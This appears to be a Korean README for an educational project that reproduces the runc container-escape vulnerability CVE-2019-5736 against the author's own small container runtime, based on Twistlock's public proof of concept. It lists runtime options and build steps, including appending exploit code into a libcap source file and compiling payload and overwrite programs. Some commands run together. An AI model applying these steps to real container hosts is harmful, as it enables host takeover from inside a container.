
익스플로잇을 이해하기 위해 자체 작성한 컨테이너 런타임에 CVE-2019-5736을 구현
CVE-2019-5736은 익스플로잇을 이해하기 위해 간단한(얕은) 자체 작성 컨테이너 런타임을 사용하여 구현되었습니다.
이 익스플로잇은 twistlock의 runc-poc를 기반으로 하며(거의 대부분 복사됨): https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
자세한 내용은 코드 문서를 참조하세요.
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
사용자 네임스페이스(user ns)를 제외한 모든 네임스페이스를 unshare합니다. 사용자 네임스페이스는 특별한 상황, 즉 urange, grange, uid 및/또는 가 지정된 경우에만 unshare됩니다.
gid이 작업은 Ubuntu 18.04에서 테스트 및 수행되었습니다.
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so에 간단히 링크할 수 있게 합니다.
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 파일을 적절한 rootfs 디렉토리로 복사합니다
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.c예: sudo ./quarantine --rootfs rootfs /shebang_exploit 또는 ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.
호스트에서 CAP_DAC_OVERRIDE 또는 CAP_SYS_ADMIN을 유지하거나 호스트에서 해당 파일을 소유하고 있으면 작동합니다. 즉, sudo 사용 시 사용자 네임스페이스를 unshare하지 마십시오(부모 네임스페이스에서 캡이 제거되기 때문입니다).